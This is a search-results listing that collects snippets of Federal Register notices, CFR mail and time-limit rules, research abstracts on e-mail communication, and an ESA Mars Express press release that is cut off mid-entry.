... DEPARTMENT OF ENERGY Blue Ribbon Commission on America's Nuclear Future AGENCY: Department of Energy, Office of Nuclear Energy. ACTION: Notice of open meeting. SUMMARY: This notice announces an open...; telephone (202) 586-4243 or facsimile (202) 586- 0544; e-mail [email protected]nuclear.energy.gov...

75 FR 50749 - Manufacturing Extension Partnership Advisory Board

Federal Register 2010, 2011, 2012, 2013, 2014

2010-08-17

... open meeting. SUMMARY: NIST announces that the Manufacturing Extension Partnership (MEP) Advisory Board, National Institute of Standards and Technology (NIST) will hold an open meeting on Monday, September 13...-mail address and phone number to Susan Hayduk ( [email protected]nist.gov or 301-975-5614) no later than...

75 FR 19941 - Manufacturing Extension Partnership Advisory Board

Federal Register 2010, 2011, 2012, 2013, 2014

2010-04-16

... open meeting. SUMMARY: NIST announces that the Manufacturing Extension Partnership (MEP) Advisory Board, National Institute of Standards and Technology (NIST) will hold an open meeting on Sunday, May 2, 2010 from... this meeting should submit name, e-mail address and phone number to Susan Hayduk ( susan.hay[email protected]nist...

76 FR 81462 - Preliminary Plan for Retrospective Analysis of Existing Rules

Federal Register 2010, 2011, 2012, 2013, 2014

2011-12-28

... order to identify unnecessary or unduly burdensome regulations that may be hindering job creation and... inspection and copying during regular business hours in the Commission's Reference Information Center... Express Mail and Priority Mail) must be sent to 9300 East Hampton Drive, Capitol Heights, MD 20743...

12 CFR 747.12 - Construction of time limits.

Code of Federal Regulations, 2011 CFR

2011-01-01

... of overnight commercial delivery service, U.S. Express Mail delivery, or first class, registered, or... transmission by electronic media, as specified by the authority receiving the filing, in the case of filing... service is made by first class, registered, or certified mail, add three calendar days to the prescribed...

12 CFR 263.12 - Construction of time limits.

Code of Federal Regulations, 2011 CFR

2011-01-01

.... Express Mail delivery, or first class, registered, or certified mail, upon deposit in or delivery to an appropriate point of collection; (iii) In the case of transmission by electronic media, as specified by the... time limits are calculated as follows: (1) If service is made by first class, registered, or certified...

5 CFR 1312.28 - Transmission of classified material.

Code of Federal Regulations, 2010 CFR

2010-01-01

... no identification of its contents. (a) Transmittal of Top Secret material. The transmittal of Top... means for Top Secret material, or transmit by U.S. Postal Service express or registered mail. (2) Other Areas. Use the same means authorized for Top Secret, or transmit by U.S. registered mail through...

78 FR 59725 - Construction Fall Protection Systems Criteria and Practices, and Training Requirements; Extension...

Federal Register 2010, 2011, 2012, 2013, 2014

2013-09-27

...- 1648. Mail, hand delivery, express mail, messenger, or courier service: When using this method, you... DEPARTMENT OF LABOR Occupational Safety and Health Administration [Docket No. OSHA-2010-0008] Construction Fall Protection Systems Criteria and Practices, and Training Requirements; Extension of the Office...

77 FR 39276 - Product List Change

Federal Register 2010, 2011, 2012, 2013, 2014

2012-07-02

... POSTAL REGULATORY COMMISSION [Docket Nos. MC2012-29 and CP2012-38; Order No. 1381] Product List... product list. The Postal Service has also filed a related contract. This notice addresses procedural steps... Express Mail and Priority Mail Contract 9 to the competitive product list.\\1\\ The Postal Service asserts...

GEO2Enrichr: browser extension and server app to extract gene sets from GEO and analyze them for biological functions.

PubMed

Gundersen, Gregory W; Jones, Matthew R; Rouillard, Andrew D; Kou, Yan; Monteiro, Caroline D; Feldmann, Axel S; Hu, Kevin S; Ma'ayan, Avi

2015-09-15

Identification of differentially expressed genes is an important step in extracting knowledge from gene expression profiling studies. The raw expression data from microarray and other high-throughput technologies is deposited into the Gene Expression Omnibus (GEO) and served as Simple Omnibus Format in Text (SOFT) files. However, to extract and analyze differentially expressed genes from GEO requires significant computational skills. Here we introduce GEO2Enrichr, a browser extension for extracting differentially expressed gene sets from GEO and analyzing those sets with Enrichr, an independent gene set enrichment analysis tool containing over 70 000 annotated gene sets organized into 75 gene-set libraries. GEO2Enrichr adds JavaScript code to GEO web-pages; this code scrapes user selected accession numbers and metadata, and then, with one click, users can submit this information to a web-server application that downloads the SOFT files, parses, cleans and normalizes the data, identifies the differentially expressed genes, and then pipes the resulting gene lists to Enrichr for downstream functional analysis. GEO2Enrichr opens a new avenue for adding functionality to major bioinformatics resources such GEO by integrating tools and resources without the need for a plug-in architecture. Importantly, GEO2Enrichr helps researchers to quickly explore hypotheses with little technical overhead, lowering the barrier of entry for biologists by automating data processing steps needed for knowledge extraction from the major repository GEO. GEO2Enrichr is an open source tool, freely available for installation as browser extensions at the Chrome Web Store and FireFox Add-ons. Documentation and a browser independent web application can be found at http://amp.pharm.mssm.edu/g2e/. avi.maayan@mssm.edu. © The Author 2015. Published by Oxford University Press. All rights reserved. For Permissions, please e-mail: journals.permissions@oup.com.

in e-mail and in chat.

PubMed

Stommel, Wyke; Van Der Houwen, Fleur

2015-01-01

In this article, we examine problem presentations in e-mail and chat counseling. Previous studies of online counseling have found that the medium (e.g., chat, email) impacts the unfolding interaction. However, the implications for counseling are unclear. We focus on problem presentations and use conversation analysis to compare 15 chat and 22 e-mail interactions from the same counseling program. We find that in e-mail counseling, counselors open up the interactional space to discuss various issues, whereas in chat, counselors restrict problem presentations and give the client less space to elaborate. We also find that in e-mail counseling, clients use narratives to present their problem and orient to its seriousness and legitimacy, while in chat counseling, they construct problem presentations using a symptom or a diagnosis. Furthermore, in email counseling, clients close their problem presentations stating completeness, while in chat counseling, counselors treat clients’ problem presentations as incomplete. Our findings shed light on how the medium has implications for counseling.

See Attachment

NASA Technical Reports Server (NTRS)

Cameron, W. Scott

2003-01-01

Since e-mail generates itself on a round-the-clock, daily basis, it's not unusual for me to receive an average of fifty e-mails a day, or more than 300 a week. That s a lot of e-mail. I have spoken with many of my fellow project managers about my relationship with e-mail. In my case, reading and responding to it is a temptation almost too hard to resist. When I receive an e-mail I tend to want to stop everything I m doing, and open and answer it. Indeed, in my life you could say e-mail is a force to be reckoned with. Interestingly, my fascination with mail began a long time ago. I trace it back to my days as a young boy when I started receiving my first letters from friends and family. Walking home from school, I was often filled with curiosity, wondering if I had received any mail that day. In college, I knew the exact time the mail was delivered, and I headed for my mailbox as close to that hour as I could. After that, I served in an Army Reserve Post Office Unit, where I came to realize how important a postal unit was to the military. There were many others like myself, far from home, who relied on the written word to stay connected to the people in their lives. Over the years I have changed in many ways, and so has the mail. But the same sense of connection, and the same urge to respond to someone who has written me, remains. The 24/7 nature of e-mail has compounded the situation. It is relentless in its pursuit of my time and attention-and, as such, e-mail has become something I have had to manage in a variety of situations

19 CFR 145.3 - Opening of letter class mail; reading of correspondence prohibited.

Code of Federal Regulations, 2010 CFR

2010-04-01

... correspondence prohibited. 145.3 Section 145.3 Customs Duties U.S. CUSTOMS AND BORDER PROTECTION, DEPARTMENT OF... correspondence. Except as provided in paragraph (e), Customs officers and employees may open and examine sealed... than, correspondence, provided they have reasonable cause to suspect the presence of merchandise or...

76 FR 31884 - Reducing Regulatory Burden; Retrospective Review Under E.O. 13563

Federal Register 2010, 2011, 2012, 2013, 2014

2011-06-02

...: Submit comments to http://www.regulations.gov , or e-mail comments to [email protected]nasa.gov . FOR FURTHER INFORMATION CONTACT: Nanette Jennings, 202-358-0819, [email protected]nasa.gov.... NASA's plan is accessible on its Open Government Web site at http://www.nasa.gov/open/ . Submit...

The Impact of "Virtualization" on Independent Study Course Completion Rates: The British Columbia Open University Experiment

ERIC Educational Resources Information Center

Giguere, Louis

2009-01-01

In 1997 the British Columbia Open University (BCOU) adopted a virtualization strategy based primarily on twinning off-line independent study distance education courses (textbook-based with study guide and telephone and e-mail tutor support) with alternate online versions (textbook-based with integrated conferencing and communications provided…

E-mail in patient–provider communication: A systematic review

PubMed Central

Ye, Jiali; Rust, George; Fry-Johnson, Yvonne; Strothers, Harry

2014-01-01

Objective To review systematically the role of e-mails in patient–provider communication in terms of e-mail content, and perspectives of providers and patients on e-mail communication in health care. Methods A systematic review of studies on e-mail communication between patients and health providers in regular health care published from 2000 to 2008. Results A total of 24 studies were included in the review. Among these studies, 21 studies examined e-mail communication between patients and providers, and three studies examined the e-mail communication between parents of patients in pediatric primary care and pediatricians. In the content analyses of e-mail messages, topics well represented were medical information exchange, medical condition or update, medication information, and subspecialty evaluation. A number of personal and institutional features were associated with the likelihood of e-mail use between patients and providers. While benefits of e-mails in enhancing communication were recognized by both patients and providers, concerns about confidentiality and security were also expressed. Conclusion The e-mail is transforming the relationship between patients and providers. The rigorous exploration of pros and cons of electronic interaction in health care settings will help make e-mail communication a more powerful, mutually beneficial health care provision tool. Practice implications It is important to develop an electronic communication system for the clinical practice that can address a range of concerns. More efforts need to be made to educate patients and providers to appropriately and effectively use e-mail for communication. PMID:19914022

12 CFR 390.41 - Construction of time limits.

Code of Federal Regulations, 2012 CFR

2012-01-01

... time prescribed by this subpart, the date of the act or event that commences the designated period of... follows: (1) If service is made by first class, registered, or certified mail, add three calendar days to the prescribed period; (2) If service is made by express mail or overnight delivery service, add one...

12 CFR 390.41 - Construction of time limits.

Code of Federal Regulations, 2014 CFR

2014-01-01

... time prescribed by this subpart, the date of the act or event that commences the designated period of... follows: (1) If service is made by first class, registered, or certified mail, add three calendar days to the prescribed period; (2) If service is made by express mail or overnight delivery service, add one...

12 CFR 1081.114 - Construction of time limits.

Code of Federal Regulations, 2012 CFR

2012-01-01

... statute, the date of the act or event that commences the designated period of time is not included. The... follows: (1) If service is made by first class, registered, or certified mail, add three calendar days to the prescribed period; (2) If service is made by express mail or overnight delivery service, add one...

12 CFR 109.12 - Construction of time limits.

Code of Federal Regulations, 2012 CFR

2012-01-01

... or event that commences the designated period of time is not included. The last day so computed is... certified mail, add three calendar days to the prescribed period; (2) If service is made by express mail or overnight delivery service, add one calendar day to the prescribed period; or (3) If service is made by...

76 FR 39299 - Shortpaid and Unpaid Information-Based Indicia (IBI) Postage and Shortpaid Express Mail Postage

Federal Register 2010, 2011, 2012, 2013, 2014

2011-07-06

... process to appeal USPS decisions relative to shortpaid and unpaid IBI postage. During this process... the Postal Service's proposal to use an electronic notification process to recover revenue... an agreement and a process in place to obtain e-mail addresses will receive an electronic...

ST Course Registration Form | Center for Cancer Research

Cancer.gov

The Statistical Tutorial course is intended primarily for NIH Clinical and Postdoctoral Fellows. Registration will be open: April 23, 2018 to May 10, 2018 This course's Date and location is: Monday, May 14, 1PM to 4PM Building 45, Rooms F1/F2 Mandatory responses are marked by an asterisk (*). A confirmation e-mail will be sent to the address listed in the "E-mail Address" field upon completion and submission of the form. Questions?

Send it: study of e-mail etiquette and notions from doctors in training.

PubMed

Resendes, Sarah; Ramanan, Thammi; Park, Angela; Petrisor, Brad; Bhandari, Mohit

2012-01-01

Worldwide, more than 247 billion e-mails are sent each day. Little empiric evidence is available to guide how e-mail presentation style, tone, and content affect e-mail recipients and whether these factors impact opinions about the sender and the rapidity of response. In a study of physicians in training assessing a series of 100 e-mail examples, we examined the following: (1) formatting characteristics most and least endorsed, (2) impression of the sender based on the e-mail itself, and (3) factors associated with the decision to respond. We reasoned that our study would provide empiric data to support recommendations for e-mail etiquette, focusing specifically on doctors in training. Cross-sectional survey study. Division of Orthopaedic Surgery at McMaster University, Hamilton, Ontario, Canada. After each e-mail, the participating surgical residents completed a series of questions focusing on their impression of the e-mail appearance, their perception of the sender, and their motivation to respond to the e-mail. Thirty-two residents participated in this study. The responses indicate that the key negatively endorsed features of the e-mails included the use of colored backgrounds (84%), difficult-to-read font (83%), lack of a subject header (55%), opening salutations without recipient names (50%), or no salutation at all (42%). The senders of negatively endorsed e-mails were perceived by participants as inefficient (p = 0.03), unprofessional (p < 0.001), and irritating (p = 0.007). E-mails with overall positive endorsements were significantly more likely to have the participants perceive the e-mail senders as professional (p < 0.001), pleasant (p = 0.048), and kind (p = 0.059). The participants were 2.6-fold more likely to respond immediately when they perceived e-mails as favorable compared with disliking them (42% vs 16% of responses, respectively, p < 0.001). The e-mails perceived as being disliked overall are likely to result in a negative perception of the sender and delays in response time. Copyright © 2012 Association of Program Directors in Surgery. Published by Elsevier Inc. All rights reserved.

An analysis of the utilization of e-mail by physicians and patients: defining benefits, addressing concerns and forecasting implications on the doctor-patient relationship.

PubMed

Lang, Kirk T; Kiel, Joan M

2008-01-01

Though e-mail is ubiquitous in everyday life, it has not been the preferred mode of communication between physicians and patients. Several factors, including privacy and security, reimbursement and legal concerns, have been seen as barriers toward increased utilization. This article examines effect of e-mail on the doctor-patient relationship. It also addresses concerns expressed by providers and patients, and explores technology- and policy-based solutions to many of these issues.

The Open University in the Third World.

ERIC Educational Resources Information Center

Hawkridge, David G.

The British Open University is described in the first section of this paper as a multi-media system for teaching at a distance. Details are provided on the texts and other materials mailed to the students, the radio and television broadcasts provided by the British Broadcasting Company, and on the auxiliary sources of assistance offered to the…

A Study of Principals' Openness to Change in 168 Restructuring Schools.

ERIC Educational Resources Information Center

Klecker, Beverly; Loadman, William E.

In Ohio, Venture Capital grants are available to schools to support their school-improvement efforts. This paper presents findings of a study that examined building principals' openness to change in the 307 Ohio schools with Venture Capital Grants. The 307 principals received by mail the Inventory of Change in Organizational Culture (Dunham and…

Knowledge Management Systems and Open Innovation in Second Tier UK Universities

ERIC Educational Resources Information Center

Chaston, Ian

2012-01-01

The purpose of this paper is to examine the performance of second tier UK universities in relation to the effectiveness of their knowledge management systems and involvement in open innovation. Data were acquired using a mail survey of academic staff in social science and business faculties in second tier institutions. The results indicate that…

Validation of good agricultural practices (GAP) on Minnesota vegetable farms.

PubMed

Hamilton, Karin E; Umber, Jamie; Hultberg, Annalisa; Tong, Cindy; Schermann, Michele; Diez-Gonzalez, Francisco; Bender, Jeff B

2015-02-01

The United States Food and Drug Administration and the Department of Agriculture jointly published the "Guide to Minimize Microbial Food Safety Hazards for Fresh Fruits and Vegetables," which is used as a basis for Good Agricultural Practices (GAP) audits. To understand barriers to incorporation of GAP by Minnesota vegetable farmers, a mail survey completed in 2008 was validated with visits to a subset of the farms. This was done to determine the extent to which actual practices matched perceived practices. Two hundred forty-six producers completed the mail survey, and 27 participated in the on-farm survey. Over 75% of the on-farm survey respondents produced vegetables on 10 acres or less and had 10 or fewer employees. Of 14 questions, excellent agreement between on-farm interviews and mail survey responses was observed on two questions, four questions had poor or slight agreement, and eight questions had no agreement. Ninety-two percent of respondents by mail said "they took measures to keep animals and pests out of packing and storage buildings." However, with the on-site visit only 45% met this requirement. Similarly, 81% of respondents by mail said "measures were taken to reduce the risk of wild and/or domestic animals entering into fruit and vegetable growing areas." With direct observation, 70% of farms actually had taken measures to keep animals out of the growing areas. Additional, on-farm assessments were done regarding employee hygiene, training, presence of animals, water sources, and composting practices. This validation study demonstrated the challenge of creating nonleading and concise questions that are not open to broad interpretation from the respondents. If mail surveys are used to assess GAP, they should include open-ended questions and ranking systems to better assess farm practices. To provide the most accurate survey data for educational purposes or GAP audits, on-farm visits are recommended.

Communication technologies and maternal interest in health-promotion information about postpartum weight and parenting practices.

PubMed

Walker, Lorraine O; Im, Eun-Ok; Vaughan, Misha W

2012-03-01

To describe postpartum women's access, perceived skill, confidence, and use of Internet and mobile technologies; their views about receiving health information about postpartum weight and parenting; and whether these factors varied by race/ethnicity or income level. Health survey of a stratified random sample. County in central Texas. One hundred forty-five (145) White/Anglo, African American, or Hispanic women of higher and lower income. Overall, 122 (84.1%) of respondents had access to a computer with an Internet connection at home and made daily use of the following: the Internet 77.6%, e-mail 75.4%, cell phone 97.1%, and text messaging 66.7%. Significant racial/ethnic and income differences occurred in home Internet access, frequency of Internet and e-mail use, and perceived confidence or skill favoring White/Anglo women over ethnic minority women, and those of higher over lower income. Overall, 35.9% of women expressed "a lot" of interest in an Internet-based weight loss program, 38.9% in a weight loss program sent by mail, 44.8% in an Internet-based parenting advice, and 38.6% in parenting advice sent by mail. Women of higher and lower income differed significantly in their interest in three of the four types of health-promotion information and methods of delivery. Generally, women with lower income were more likely to express high interest in receiving health information related to parenting by mail than those of higher incomes, whereas women of higher incomes were more likely to express high interest in receiving weight loss and parenting information through the Internet. © 2012 AWHONN, the Association of Women's Health, Obsteric and Neonatal Nurses.

4 CFR 28.4 - Computation of time.

Code of Federal Regulations, 2010 CFR

2010-01-01

... days for filing under these rules, the first day shall be the day after the event from which the time... paper is served by mail, five (5) days shall be added to the prescribed period. Only two (2) days shall be added when a document is served by express mail or other form of expedited delivery. (c) Except as...

4 CFR 28.4 - Computation of time.

Code of Federal Regulations, 2013 CFR

2013-01-01

... days for filing under these rules, the first day shall be the day after the event from which the time... paper is served by mail, five (5) days shall be added to the prescribed period. Only two (2) days shall be added when a document is served by express mail or other form of expedited delivery. (c) Except as...

4 CFR 28.4 - Computation of time.

Code of Federal Regulations, 2012 CFR

2012-01-01

... days for filing under these rules, the first day shall be the day after the event from which the time... paper is served by mail, five (5) days shall be added to the prescribed period. Only two (2) days shall be added when a document is served by express mail or other form of expedited delivery. (c) Except as...

77 FR 33782 - License Amendment To Construct and Operate New In Situ Leach Uranium Recovery Facility; Uranium...

Federal Register 2010, 2011, 2012, 2013, 2014

2012-06-07

...-Filing system also distributes an email notice that provides access to the document to the NRC's Office... mail, or expedited delivery service to the Office of the Secretary, Sixteenth Floor, One White Flint... courier, express mail, or expedited delivery service upon depositing the document with the provider of the...

7 CFR 319.41-6 - Importations by mail.

Code of Federal Regulations, 2014 CFR

2014-01-01

... express provided for in § 319.41-5, importations are permitted by mail of (a) mature corn on the cob from the countries specified in § 319.41-1(b)(2), (b) clean shelled corn and clean seed of the other plants... SERVICE, DEPARTMENT OF AGRICULTURE FOREIGN QUARANTINE NOTICES Indian Corn or Maize, Broomcorn, and Related...

7 CFR 319.41-6 - Importations by mail.

Code of Federal Regulations, 2011 CFR

2011-01-01

... express provided for in § 319.41-5, importations are permitted by mail of (a) mature corn on the cob from the countries specified in § 319.41-1(b)(2), (b) clean shelled corn and clean seed of the other plants... SERVICE, DEPARTMENT OF AGRICULTURE FOREIGN QUARANTINE NOTICES Indian Corn or Maize, Broomcorn, and Related...

7 CFR 319.41-6 - Importations by mail.

Code of Federal Regulations, 2013 CFR

2013-01-01

... express provided for in § 319.41-5, importations are permitted by mail of (a) mature corn on the cob from the countries specified in § 319.41-1(b)(2), (b) clean shelled corn and clean seed of the other plants... SERVICE, DEPARTMENT OF AGRICULTURE FOREIGN QUARANTINE NOTICES Indian Corn or Maize, Broomcorn, and Related...

7 CFR 319.41-6 - Importations by mail.

Code of Federal Regulations, 2010 CFR

2010-01-01

... express provided for in § 319.41-5, importations are permitted by mail of (a) mature corn on the cob from the countries specified in § 319.41-1(b)(2), (b) clean shelled corn and clean seed of the other plants... SERVICE, DEPARTMENT OF AGRICULTURE FOREIGN QUARANTINE NOTICES Indian Corn or Maize, Broomcorn, and Related...

7 CFR 319.41-6 - Importations by mail.

Code of Federal Regulations, 2012 CFR

2012-01-01

... express provided for in § 319.41-5, importations are permitted by mail of (a) mature corn on the cob from the countries specified in § 319.41-1(b)(2), (b) clean shelled corn and clean seed of the other plants... SERVICE, DEPARTMENT OF AGRICULTURE FOREIGN QUARANTINE NOTICES Indian Corn or Maize, Broomcorn, and Related...

Injury Statistics

MedlinePlus

... mail Inside CPSC Accessibility Privacy Policy Budget, Performances & Finance Open Government Freedom of Information (FOIA) Inspector General ... leave the U.S. Consumer Product Safety Commission (CPSC) public website. The link you selected is for a ...

Poster: Building a Large Tiled-Display Cluster

DTIC Science & Technology

2012-10-01

graphics cards ( Nvidia Quadro FX 5800), and each graphics ∗e-mail: mark.livingston@nrl.navy.mil †e-mail: jonathan.decker@nrl.navy.mil card in a display...such as DisplayPort and HDMI (see: Nvidia Quadro 6000). We recommend these formats because they are much easier to plug-and-play. 3.4 Leverage Open...will find yourself with all the issues related to owning a server room. Today, there are a number of companies offering turn-key so- lutions for tiled

Self Managing the Consequences of Major Limb Trauma

DTIC Science & Technology

2011-08-01

Nathan M. Parmer, Psy.D. 5e. TASK NUMBER E -Mail: emackenz@jhsph.edu 5f. WORK UNIT NUMBER 7. PERFORMING ORGANIZATION NAME(S) AND ADDRESS(ES...individual’s lesson activity. This area includes the ‘Member Lounge ’, which is an open virtual chat space where all users from any cohort or class can...current lesson, and allows the program administrator to send e -mail reminders when users fall behind on the sessions. The LMS is integrated to the

Dentistry: Careers in Dentistry

MedlinePlus

... in Dentistry e-mail Print Share Careers in Dentistry A dental education opens up a world of ... accredited training programs in your area . Careers in Dentistry Be a Dentist General Dentistry Dental Specialties Dental ...

Consumer Product Safety Commission

MedlinePlus

... mail Inside CPSC Accessibility Privacy Policy Budget, Performances & Finance Open Government Freedom of Information (FOIA) Inspector General ... leave the U.S. Consumer Product Safety Commission (CPSC) public website. The link you selected is for a ...

30 CFR 291.103 - May I use alternative dispute resolution to informally resolve an allegation that open and...

Code of Federal Regulations, 2011 CFR

2011-07-01

... that open and nondiscriminatory access was denied? You may ask to use ADR either before or after you..., NW., Mail Stop 5438, Washington, DC 20240-0001. (a) You may request that ADR be administered by: (1) A contracted ADR provider agreed to by all parties; (2) The Department's Office of Collaborative...

12 CFR 573.10 - Limits on disclosure of non-public personal information to nonaffiliated third parties.

Code of Federal Regulations, 2010 CFR

2010-01-01

... 30 days from the date you mailed the notices. (ii) By electronic means. A customer opens an on-line... electronically, and you allow the customer to opt out by any reasonable means within 30 days after the date that the customer acknowledges receipt of the notices in conjunction with opening the account. (iii...

75 FR 8310 - Federal Advisory Committee; Military Leadership Diversity Commission (MLDC); Meetings

Federal Register 2010, 2011, 2012, 2013, 2014

2010-02-24

... 17, 2010, from 8 a.m. to 5:30 p.m. (open); and March 18, 2010, from 8 a.m. to 4:45 p.m. (open... 21401. FOR FURTHER INFORMATION CONTACT: Master Chief Steven A. Hady, Designated Federal Officer, MLDC, at (703) 602-0838, 1851 South Bell Street, Suite 532, Arlington, VA. E-mail: [email protected

Internal Medicine Resident Engagement with a Laboratory Utilization Dashboard: Mixed Methods Study.

PubMed

Kurtzman, Gregory; Dine, Jessica; Epstein, Andrew; Gitelman, Yevgenly; Leri, Damien; Patel, Miltesh S; Ryskina, Kyra

2017-09-01

The objective of this study was to measure internal medicine resident engagement with an electronic medical record-based dashboard providing feedback on their use of routine laboratory tests relative to service averages. From January 2016 to June 2016, residents were e-mailed a snapshot of their personalized dashboard, a link to the online dashboard, and text summarizing the resident and service utilization averages. We measured resident engagement using e-mail read-receipts and web-based tracking. We also conducted 3 hour-long focus groups with residents. Using grounded theory approach, the transcripts were analyzed for common themes focusing on barriers and facilitators of dashboard use. Among 80 residents, 74% opened the e-mail containing a link to the dashboard and 21% accessed the dashboard itself. We did not observe a statistically significant difference in routine laboratory ordering by dashboard use, although residents who opened the link to the dashboard ordered 0.26 fewer labs per doctor-patient-day than those who did not (95% confidence interval, -0.77 to 0.25; = 0 .31). While they raised several concerns, focus group participants had positive attitudes toward receiving individualized feedback delivered in real time. © 2017 Society of Hospital Medicine.

Safety Education Resources: Childproofing Your Home

MedlinePlus

... mail Inside CPSC Accessibility Privacy Policy Budget, Performances & Finance Open Government Freedom of Information (FOIA) Inspector General ... leave the U.S. Consumer Product Safety Commission (CPSC) public website. The link you selected is for a ...

Developing a Hypercard-UNIX Interface for Electronic Mail Transfer

DTIC Science & Technology

1992-06-01

My thanks to Greqg for his support. Many of the comments for -- the MacTCP version are his. His code is set ,%ppart by borders. on openStacK put the...HUES-ModemVersion......- *-*-*-* STACK SCRIPTi "-*-*-* on openStack put the seconds into card fid theTime of card interface hide menubar global...34Loqin" hide fid receiving put empty into cd tia msqname of card theoessaqe end openStack on closeStack global logoutme put eqFpty into card fld text of

76 FR 13124 - Del Norte Resource Advisory Committee (RAC)

Federal Register 2010, 2011, 2012, 2013, 2014

2011-03-10

...: Adam Dellinger, Committee Coordinator, Six Rivers National Forest, at (707) 441-3569; e-mail adellinger... recommended projects and will vote on projects to recommend for funding. The meeting is open to the public and...

An Empirical Verification of a-priori Learning Models on Mailing Archives in the Context of Online Learning Activities of Participants in Free\\Libre Open Source Software (FLOSS) Communities

ERIC Educational Resources Information Center

Mukala, Patrick; Cerone, Antonio; Turini, Franco

2017-01-01

Free\\Libre Open Source Software (FLOSS) environments are increasingly dubbed as learning environments where practical software engineering skills can be acquired. Numerous studies have extensively investigated how knowledge is acquired in these environments through a collaborative learning model that define a learning process. Such a learning…

75 FR 1756 - National Defense University Board of Visitors (BOV); Open Meeting

Federal Register 2010, 2011, 2012, 2013, 2014

2010-01-13

... FURTHER INFORMATION CONTACT: Ms. Dolores Hodge by phone (202) 685- 2649, fax (202) 685-7707 or e-mail Hodge[email protected] . SUPPLEMENTARY INFORMATION: The future agenda will include discussion on Defense...

Experiences of patients who were early adopters of electronic communication with their physician: satisfaction, benefits, and concerns.

PubMed

Houston, Thomas K; Sands, Daniel Z; Jenckes, Mollie W; Ford, Daniel E

2004-09-01

To explore the experiences of patients who were early adopters of e-mail communication with their physicians. Patients' experiences were assessed with an Internetbased survey of 1881 individuals and in-depth telephone follow-up interviews with 56 individuals who used e-mail to communicate with providers. Two investigators qualitatively coded interview comments independently, with differences adjudicated by group consensus. A total of 311 (16.5%) of the 1881 individuals reported using electronic mail to communicate with their physicians. Compared with the population-based Behavioral Risk Factor Surveillance Survey, users of e-mail with physicians were twice as likely to have a college education, were younger, were less frequently ethnic minorities, and more frequently reported fair/poor health. Among the 311 patients who used e-mail with their physicians, the most frequent topics were results of laboratory testing and prescription renewals. However, many of the 311 users (21%) also reported using asynchronous e-mail inappropriately to convey urgent or sensitive issues (suicidality, chest pain, etc). Almost all (95%) perceived that e-mail was more efficient than the telephone. Important benefits uncovered from the interviews were that some patients felt more emboldened to ask questions in e-mail compared with face-to-face communication with doctors, and liked the ability to save the e-mail messages. Users also expressed concerns about privacy. Patients that use electronic communication with their physicians find the communication efficient for disease management. Further patient education about inappropriate use of e-mail for urgent issues is needed.

Europe goes to Mars - preparations are well under way

NASA Astrophysics Data System (ADS)

2001-04-01

Under the umbrella of the European Space Agency, at least 25 companies from 15 European countries are building hardware or software for the spacecraft, or otherwise contributing their expertise; and more than 200 scientists from research institutes in all ESA member states and beyond are contributing towards the scientific payload. "The Mars Express project is providing about 1000 jobs throughout Europe," estimates Rudi Schmidt, Mars Express Project Manager at ESTEC, the European Space Agency's technical centre in the Netherlands. Preparations are well under way and on schedule for a May/June 2003 launch sending the spacecraft on its six-month voyage. The structure is taking shape under the guidance of the prime contractor Astrium, Toulouse (France), and the scientific teams are on target with scientific instrument development. Water and life ESA's Mars Express mission consists of an orbiter, carrying seven scientific experiments, and a lander, Beagle 2. The two vehicles will play key roles in an international Mars exploration programme spanning the next two decades. The instruments on board the orbiter will provide remote sensing of the atmosphere, the surface and up to 5km below the surface, to a degree of accuracy never before achieved. The information gleaned will help answer many questions outstanding about Mars. One concerns the fate of water that once flowed freely on the planet’s surface; another is whether life ever evolved on Mars. Beagle-2 will be the first lander since NASA’s two Viking probes in the 1970s to look specifically for evidence of past or present life on Mars. No other Mars probe planned so far is making exobiology so central to its mission. When the spacecraft arrives at the Red Planet around Christmas 2003, the Mars Express orbiter will jettison Beagle 2 and then move into a near-polar orbit from which it will observe the whole planet over the next Martian year (equivalent to two Earth years). The lander will make its own way to a carefully selected site on Isidis Planitia, a plain just north of the equator near where the ancient, cratered southern highlands meet the younger, smooth northern lowlands. Beagle 2 will complete its mission in about six months. The Mars Express orbiter instruments will: * Image the entire surface at high resolution (10m/pixel) and selected areas at super resolution (2m/pixel) (HRSC instrument) * Produce a map of the mineral composition of the surface at 100m resolution (OMEGA instrument) * Map the composition of the atmosphere and determine its global circulation (PFS instrument) * Determine the structure of the sub-surface to a depth of a few kilometres (MARSIS instrument) * Determine the water vapour and ozone in the atmosphere (SPICAM instrument) * Determine the interaction of the atmosphere with the solar wind (ASPERA instrument and MaRS experiment) (see below for list of full instrument names, acronyms and Principal Investigators) The Beagle 2 lander will: * Determine the geology and the mineral and chemical composition of the landing site * Search for life signatures (exobiology) * Study the weather and climate Mars Express will provide unique investigations that will contribute to an understanding of many of the unknowns about Mars. Here are a few: * If Mars really was warm and wet during its early history, where did the water go? Some may have been lost to space and some may be buried underground. ASPERA will measure water loss to space and MARSIS is the only instrument planned for any mission with the capability of looking for water or ice down to a depth of a few kilometres. The presence of underground water would have a considerable impact on the prospects for future manned missions to the planet. * If there was water could there have been, or still be, life? Beagle 2 will scoop up soil and rock samples and analyse them there and then for some of the key chemical signatures of life. The results will be far more telling than anything yet found in Martian meteorites on Earth, as the chances of contamination by biological specimens from Earth will be virtually eliminated. * What is the surface of Mars made of and what can its composition tell us about the history of the planet, in particular about the history of water there? OMEGA will map surface mineral composition more accurately than ever before. In particular, it will look for carbonates, which no previous mission has found, but which should be present if water was once abundant on Mars. * The thin Martian atmosphere is thought to be very oxidising - it turns the plentiful iron in the surface rocks and dust into rust, hence the planet's red colour. SPICAM will help to determine precisely how the atmosphere has this effect. Such understanding will ultimately have implications for designing space suits and life support system for visiting astronauts! * Was there an ancient ocean over the northern plains of Mars? The evidence revealed by previous missions has been ambiguous. The HRSC's contiguous 3D imaging in full colour has the best chance yet of revealing an ancient shoreline, if one exists. Over the next few months, the European Space Agency in collaboration with national organisations will be holding press conferences about Mars Express at different locations across Europe. Further information will follow as soon as it is available. In the meantime, background information and regular updates on the progress of the project are available at ESA's Mars Express website, at http://sci.esa.int/marsexpress Instrument and Principal Investigator ASPERA (Energetic Neutral Atoms Analyser) Rickard Lundin, Swedish Institute of Space Physics, Kiruna, Sweden (presently on sabbatical in Toulouse). Contact: Dr Stas Barabash (Co-PI), Swedish Institute of Space Physics, Box 812 98128, Kiruna, Sweden, tel. +46-980-79122, Fax: +46-980-79050, e-mail: stas@irf.se BEAGLE-2 (Geochemical Lander) Colin Pillinger, Open University, Milton Keynes, UK, tel. +44 1908 652119, fax.+44 1908 655910, e-mail: psri@open.ac.uk HRSC (High/Super Resolution Stereo Camera), Gerhard Neukum, DLR, Institut für Planetenerkundung, Berlin, Germany, tel. +49 30 67055 300, fax. +49 30 67055 303, e-mail: gerhard.neukum@dlr.de MaRS (Radio 